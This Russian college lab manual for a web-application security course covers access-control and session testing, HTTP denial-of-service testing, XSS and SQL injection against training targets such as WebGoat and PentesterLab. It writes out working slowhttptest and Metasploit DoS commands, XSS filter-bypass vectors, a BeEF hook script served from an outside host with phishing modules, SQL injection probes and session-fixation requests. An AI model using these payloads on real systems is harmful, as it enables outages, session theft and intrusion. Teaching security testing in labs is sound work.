

Министерство науки и высшего образования Российской Федерации
Федеральное государственное бюджетное образовательное учреждение
высшего образования
«Магнитогорский государственный технический университет им. Г.И. Носова»

Многопрофильный колледж



**МЕТОДИЧЕСКИЕ УКАЗАНИЯ
ДЛЯ ЛАБОРАТОРНЫХ ЗАНЯТИЙ
МЕЖДИСЦИПЛИНАРНОГО КУРСА**

МДК.09.03 Обеспечение безопасности веб-приложений

для обучающихся специальности

09.02.07 Информационные системы и программирование

Магнитогорск, 2023

ОДОБРЕНО

Предметно-цикловой комиссией
«Информатики и вычислительной техники»
Председатель Т.Б. Ремез
Протокол № 6 от 25.01.2023г.

Методической комиссией МпК

Протокол № 4 от 08.02.2023 г.

Разработчик:

преподаватель ФГБОУ ВО «МГТУ им. Г.И. Носова» Многопрофильный колледж

И.Г. Зорина

Методические указания по выполнению лабораторных работ разработаны на основе рабочей программы учебной дисциплины ПМ.09. Проектирование, разработка и оптимизация веб-приложений МДК 09.03 Обеспечение безопасности веб-приложений.

Содержание лабораторных работ ориентировано на подготовку обучающихся к освоению профессионального модуля программы подготовки специалистов среднего звена по специальности 09.02.07 Информационные системы и программирование и овладению общими компетенциями.

СОДЕРЖАНИЕ

1 ВВЕДЕНИЕ	4
2 МЕТОДИЧЕСКИЕ УКАЗАНИЯ	6
Лабораторное занятие № 24 «Тестирование защищенности механизма управления доступом и сессиями»	6
Лабораторное занятие № 25 «Тестирование на устойчивость к атакам отказа в обслуживании»..	14
Лабораторное занятие № 26 «Поиск уязвимостей к атакам XSS»	18
Лабораторное занятие № 27 «Поиск уязвимостей к атакам SQL-injection»	23

1 ВВЕДЕНИЕ

Важную часть теоретической и профессиональной практической подготовки обучающихся составляют лабораторные занятия.

Состав и содержание лабораторных занятий направлены на реализацию Федерального государственного образовательного стандарта среднего профессионального образования.

Ведущей дидактической целью лабораторных занятий является формирование профессиональных практических умений (умений выполнять определенные действия, операции, необходимые в последующем в профессиональной деятельности), необходимых в последующей учебной деятельности.

Ведущей дидактической целью лабораторных занятий является экспериментальное подтверждение и проверка существенных теоретических положений (законов, зависимостей).

В соответствии с рабочей программой ПМ.09. Проектирование, разработка и оптимизация веб-приложений, МДК 09.03 Обеспечение безопасности веб-приложений предусмотрено проведение лабораторных занятий.

В результате их выполнения, обучающийся должен:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

У36. модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;

Содержание лабораторных занятий ориентировано на формирование общих компетенций по профессиональному модулю программы подготовки специалистов среднего звена по специальности и овладению **профессиональными компетенциями**:

ПК 9.8 Осуществлять аудит безопасности веб-приложения в соответствии с регламентами по безопасности

А также формированию **общих компетенций**:

ОК 01 Выбирать способы решения задач профессиональной деятельности применительно к различным контекстам.

ОК 02 Использовать современные средства поиска, анализа и интерпретации информации и информационные технологии для выполнения задач профессиональной деятельности.

ОК 03 Планировать и реализовывать собственное профессиональное и личностное развитие, предпринимательскую деятельность в профессиональной сфере, использовать знания по правовой и финансовой грамотности в различных жизненных ситуациях;.

ОК 04 Эффективно взаимодействовать и работать в коллективе и команде.

ОК 05 Осуществлять устную и письменную коммуникацию на государственном языке Российской Федерации с учетом особенностей социального и культурного контекста.

ОК 06 Проявлять гражданско-патриотическую позицию, демонстрировать осознанное поведение на основе традиционных российских духовно-нравственных ценностей, в том числе с учетом гармонизации межнациональных и межрелигиозных отношений, применять стандарты антикоррупционного поведения.

ОК 07 Содействовать сохранению окружающей среды, ресурсосбережению, применять знания об изменении климата, принципы бережливого производства, эффективно действовать в чрезвычайных ситуациях.

ОК 08 Использовать средства физической культуры для сохранения и укрепления здоровья в процессе профессиональной деятельности и поддержания необходимого уровня физической подготовленности.

ОК 09 Пользоваться профессиональной документацией на государственном и иностранном языках.

Выполнение обучающимися лабораторных работ по ПМ.09. Проектирование, разработка и оптимизация веб-приложений, МДК 09.03 Обеспечение безопасности веб-приложений направлено на:

- *обобщение, систематизацию, углубление, закрепление, развитие и детализацию полученных теоретических знаний по конкретным темам междисциплинарного курса;*
- *формирование умений применять полученные знания на практике, реализацию единства интеллектуальной и практической деятельности;*
- *выработку при решении поставленных задач профессионально значимых качеств, таких как самостоятельность, ответственность, точность, творческая инициатива.*

Лабораторные занятия проводятся после соответствующей темы, которая обеспечивает наличие знаний, необходимых для ее выполнения.

2 МЕТОДИЧЕСКИЕ УКАЗАНИЯ

МДК 09.03 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Тема 3.1 Технологии обеспечения безопасности веб – приложений

Лабораторное занятие № 24

«Тестирование защищенности механизма управления доступом и сессиями»

Цель работы

Целью лабораторной работы является обучение методам и средствам сбора информации об анализируемом веб-приложении.

Выполнив работу, Вы будете:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

1. Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.
2. Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

Краткие теоретические сведения

Одним из основных механизмов защиты современных веб-приложений является механизм управления доступом. Обычно выделяют следующие этапы управления доступом [8]:

- идентификация – установление идентификационных данных;
- аутентификация – подтвержденное установление идентификационных данных;
- авторизация – назначение прав идентификационным данным.

При входе в веб-приложение (signin, login) пользователь идентифицируется (сообщает свой идентификатор) и аутентифицируется (доказывает, что он именно тот пользователь, чей идентификатор был сообщен).

Большинство веб-приложений используют аутентификацию по паролю. В веб-приложениях с высоким уровнем защищенности (например, в Интернет-банках) также применяются протоколы двухфакторной аутентификации. Очевидным недостатком аутентификации по паролю является

возможность использования паролей с плохими статистическими характеристиками. Хранение пароля или его передача по каналам связи в открытом или даже зашифрованном виде потенциально несет угрозу раскрытия пароля.

Тем не менее, современные защищенные веб-приложения в большинстве случаев используют передачу пароля в зашифрованном виде с помощью протоколов семейства SSL/TLS, а хранение пароля в хешированном виде. При этом для хранения паролей пользователей рекомендуется использовать не криптографические хэш-функции общего назначения (например, SHA или MD5), а специализированные функции PBKDF2, bcrypt, scrypt и т.п. Также для хранения паролей необходимо использовать «соль», предназначенную для затруднения проведения атак по словарям и радужным таблицам.

Авторизация в веб-приложениях может быть определена как процесс проверки того, разрешен или запрещен запрос на получения доступа пользователя к ресурсу в соответствии с заданной политикой безопасности. Как правило, в веб-приложениях реализуется ролевая (RBAC) или атрибутная (ABAC) политика логического управления доступом.

Одним из методов тестирования возможности получения привилегий другого пользователя является дифференциальный анализ. Его идея заключается в идентификации всех возможных запросов и соответствующих им URL, которые может выполнить данный пользователь. Затем все полученные запросы выполняются от имени другого пользователя веб-приложения.

Механизм авторизации рекомендуется реализовывать на уровнях представления, бизнес-логики и данных веб-приложения. Уровень представления – не отображает функционал (например, формы, фреймы, ссылки, кнопки), на который пользователь не имеет прав доступа. Уровень бизнес-логики обеспечивает выполнение проверки наличия соответствующих прав доступа до выполнения запроса в веб-приложении, т.е. никакие функции не могут быть выполнены до авторизации (например, если пользователь отправляет запрос на удаление учетной записи, то веб-приложение должно убедиться, что пользователь имеет право на удаление учетной записи и не выполнять никаких функций до того, как это будет установлено). Уровень данных обеспечивает проверку наличия прав доступа пользователя к данным, а не только к функционалу обработки данных (например, пользователь, используя URL вида /delete?record=1, должен удалять только те записи в базе данных, на которые он имеет право доступаDELETE).

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси- сервер BurpSuite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить иден-

тификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля.

Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5 – 10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5 – 10).

Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие временные задержки или средства антиавтоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при кор-

ректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории.

Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0

Expires: -1

Шаг 8. Запустить веб-приложение WebGoat. Ввести логин:

«guest», пароль: «guest».

Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File».

Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «ViewProfile». В BurpSuite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<input type="submit" value="ViewProfile" name="action">
```

на элемент

```
<input type="submit" value="DeleteProfile" name="action">
```

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в BurpSuite. Профиль пользователя будет удален.

Опционально решить задачу «LAB: RoleBasedAccessControl → Stage 2».

Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «ViewProfile». В BurpSuite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля.

Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<option value="105" selected="">Tom Cat (employee)</option>
```

на элемент

```
<option value="103" selected="">Tom Cat (employee)</option>
```

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в BurpSuite. Будут выведены данные профиля пользователя CurlyStooge.

Опционально решить задачу «LAB: RoleBasedAccessControl → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «AdminFunctions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true. Просмотреть подменю «AdminFunctions».

Вопросы и задания

1. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.
2. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP100.
3. Исследовать наличие оракулов в механизмах аутентификации произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

2 Задание

Сессия веб-приложения – это последовательность HTTP-запросов и соответствующих им HTTP-ответов, ассоциированных с конкретным пользователем. Протокол HTTP не имеет встроенных механизмов управления сессиями (stateless protocol) и поэтому механизм управления сессиями реализуется логикой веб-приложения. Как минимум, сессия создается при успешной аутентификации пользователя в веб-приложении. При этом генерируется уникальный идентификатор (токен) сессии, ассоциированный с этим пользователем. Данный идентификатор передается в каждом HTTP-запросе и является аналогом пароля пользователя, так как любой HTTP-запрос, содержащий такой идентификатор, будет воспринят веб-приложением как запрос от легитимного пользователя.

Как правило, идентификатор сессии передается в заголовках Cookie средствами веб-браузера, реже в специальных HTTP-заголовках (например, X-Auth-Token) средствами AJAX. Передача

идентификатора сессии в URL является наименее защищенной и в настоящее время, как правило, не применяется.

Приведем основные требования безопасности к реализации механизма управления сессиями [8]:

- имя сессионного идентификатора не должно позволять легко идентифицировать веб-приложение (например, PHPSESSID, ASP.NET_SessionId, JSESSIONID);
- длина сессионного идентификатора должна быть не менее 128 бит;
- энтропия сессионного идентификатора должна быть не менее 64 бит;
- передача сессионного идентификатора должна осуществляться в заголовках Cookie с флагами HttpOnly, Secure и выставленным атрибутом Domain;
- после изменения состояния пользователя (вход в веб-приложение, смена пароля, смена роли, истечение таймаута не-активности и т.д.), критичного с точки зрения политики безопасности, должен создаваться новый идентификатор сессии, а старый –аннулироваться;
- после изменения протокола HTTP на HTTPS должен создаваться новый идентификатор сессии, а старый –аннулироваться;
- аннулирование сессионного идентификатора должно быть реализовано как на клиенте, так и на сервере;
- должны быть реализованы таймаут неактивности, абсолютный таймаут и таймаут обновления сессионного идентификатора.

Выделяют следующие основные атаки на механизмы управления сессиями:

- фиксация сессии;
- подбор идентификатора сессии;
- перехват идентификатора сессии;
- кража идентификатора сессии.

Получение идентификатора сессии пользователя приводит, как правило, к получению злоумышленником всех прав пользователя.

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси-сервер BurpSuite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com. Просмотреть Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в BurpSuite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-браузере (можно использовать расширение ExportCookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение ImportCookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Signout», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

GET / HTTP/1.1

Host: www.test.app.com

\r\n

Получить и проанализировать ответ

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server

Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure

Аутентифицироваться, используя запрос с полученным идентификатором ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com

Cookie: ID=d8eyYq3L0z2fgq10m4v

\r\n user=test&password=Zz123456

Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии.

Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.

Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.

Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

Вопросы и задания

1. Предложить сценарий атаки, использующий недостаток ан- нулирования сессии только на клиентской стороне веб- приложения.
2. Используя поисковые системы (Google, Shodan), найти веб- приложения с механизмом URLRewriting.
3. Написать сценарий JavaScript, устанавливающий или считы- вающий идентификатор сессиипользователя.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 25
«Тестирование на устойчивость к атакам отказа в обслуживании»

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании(DoS-атакам).

Выполнив работу, Вы будете:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP

Краткие теоретические сведения

Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.

Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки PingofDeath (L3), SYN Flood (L4), SSL RenegotiationDoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фреймворк и т.д.).

Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализации атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTPRead) обычно достаточно одного компьютера [10 –13].

Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде [9]. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида `selectbenchmark(100000000, now())` для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML BillionLaughs (XML Bomb), XML QuadraticBlowupAttack, ZIP ofDeath (ZIP Bomb).

Последовательность действий

Шаг 1. Установить программу `slowhttptest`, доступную по URL вида <https://code.google.com/p/slowhttptest>. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера `www.test.app.com`, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку SlowRead, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n50  
-w 1 -y 2 -z 1 -uhttp://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx.

Прodelать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Прodelать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку ApacheRangeHeader. Проанализировать результаты. Выполнить команду

```
# slowhttpstest -R -u http://www.test.app.com -t GET  
-c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку ApacheRangeHeader с использованием MetasploitFramework:

```
# msfconsole  
> useauxiliary/dos/http/apache_range_dos  
> showoptions  
> set RHOSTSwww.test.app.com  
> set RPORT80  
> set RLIMIT100  
> set THREADS3  
> run
```

Вопросы и задания

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTPDoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTPDoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XMLBomb.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

- Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;
Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 26
«Поиск уязвимостей к атакам XSS»

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам XSS

Выполнив работу, Вы будете:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS

Краткие теоретические сведения

Атака Cross-SiteScripting (XSS) – это атака на веб-приложение, использующая недостатки неправильной обработки данных и позволяющая выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника (origin) уязвимого веб- приложения.

Атаки XSS классифицируются по вектору и способу воздействия. По вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми (persistent) и основанными на объектной модели документа (DOM-based). По вектору атаки XSS делятся на активные и пассивные.

Устойчивая атака XSS – это XSS атака, в результате которой введенный злоумышленником код сохраняется на веб-сервере и возвращается пользователю в запросе не содержащем вектор атаки.

Отраженная атака XSS – XSS атака, в результате которой код, введенный злоумышленником, передается пользователю в ответе на тот же запрос, в котором передан вектор атаки.

Атака XSS, называется DOM-based, если код злоумышленника может быть выполнен в браузере пользователя без отправки запроса на сервер веб-приложения.

В результате успешной реализации атаки XSS злоумышленник может выполнить, например, следующие действия:

- перенаправить пользователя на любой веб-сайт;
- получить аутентификационные данные пользователя, передающиеся в Cookie;
- получить любые данные, к которым имеет доступ клиентская часть веб-приложения;
- получить доступ к внутренней сети пользователя;
- выполнить Deface веб-сайта и т.д.

В общемировой практике тестирования защищенности веб-приложений в качестве доказательства уязвимости приложения к атаке XSS принято демонстрировать возможность выполнения JavaScript-кода вида `alert(1)`, `prompt(/XSS/)`, `confirm(0)` и т.п.

При тестировании наличия уязвимости к атакам XSS важно определять контекст, в который выводятся данные. Существуют следующие виды контекстов: HTML, SCRIPT, STYLE, URL и атрибутный [16]. Ниже приведены примеры XSS-векторов для каждого из контекстов:

```
<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name=";alert(1);"</script>
<ahref="javascript:alert&lpar;1rpar;">ClickMe</a>
<div class=""onmouseover="alert(1);">...</div>
<div style="width:expression(alert(1))">...</div>
```

Последовательность действий

Шаг 1. Скачать образ «WebForPentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово script фильтруется. Ввести вектор

```
<ScRipT>alert(1)</sCrIpT>
```

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подставить вектор

```
<script>alert(1)</script>
```

Убедиться, что слово `<script>` вырезается. Ввести вектор

```
<scr<script>ipt>alert(1)</s</script>cript>
```

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подставить вектор

```
<script>alert(1)</script>
```

Убедиться, что слово `<script>` вырезается корректно. Ввести вектор

```
<img/src=1 onerror=alert(1)>
```

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подставить вектора

```
<script>alert(1)</script>
```

```
<img/src=1 onerror=alert(1)>
```

Убедиться, что слово `alert` вырезается корректно. Ввести вектора

```
<img/src=1 onerror=\u0061alert(1)>
```

```
<img/src=1 onerror=prompt(1)>
```

```
<imgsrc=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
```

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной подставить вектора

```
";alert(1);"
```

```
</script><script>alert(1);//
```

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
";alert(1);"
```

Убедиться, что символ " кодируется в HTML-сущность ". В качестве переменной name ввести вектор

```
';alert(1);'
```

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

```
xss/example8.php/"onsubmit="alert(1)
```

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

```
xss/example9.php#<script>alert(1)</script>.
```

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор

```
<scriptsrc="http://1.1.1.1:3000/hook.js"></script>
```

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «OnlineBrowser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузере и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

- «CreateAlertDialog»;
- «Redirect Browser», перенаправив пользователя на сайт <http://evil.com>;
- «Clickjacking»;

- «Clippy»;
- «FakeNotificationBar»;
- «GooglePhishing»;
- «PrettyTheft»

Вопросы и задания

1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.
2. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте teescape.alf.nu.
3. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте prompt.ml.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 27
«Поиск уязвимостей к атакам SQL-injection»

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.

Выполнив работу, Вы будете:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Краткие теоретические сведения

Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.

Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения.

В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак SQL-injection [17]:

- классическая;
- «слепая» типа boolean-based;
- «слепая» типа time-based;
- error-based;
- вложенная;
- фрагментированная.

Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра id к атаке SQL-injection:

- `http://www.test.app.com/index?id=1'`
- `http://www.test.app.com/index?id=1"`
- `http://www.test.app.com/index?id=1' order by1000`
- `http://www.test.app.com/index?id=1"--`
- `http://www.test.app.com/index?id=1'/*`
- `http://www.test.app.com/index?id=1"#`
- `http://www.test.app.com/index?id=1 and1=1--`
- `http://www.test.app.com/index?id=1 and1=2—`
- `http://www.test.app.com/index?id=1' and'1'='1`
- `http://www.test.app.com/index?id=1' and'1'='2`

Постановка задачи

Последовательность действий

Шаг 1. Скачать образ «WebForPentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

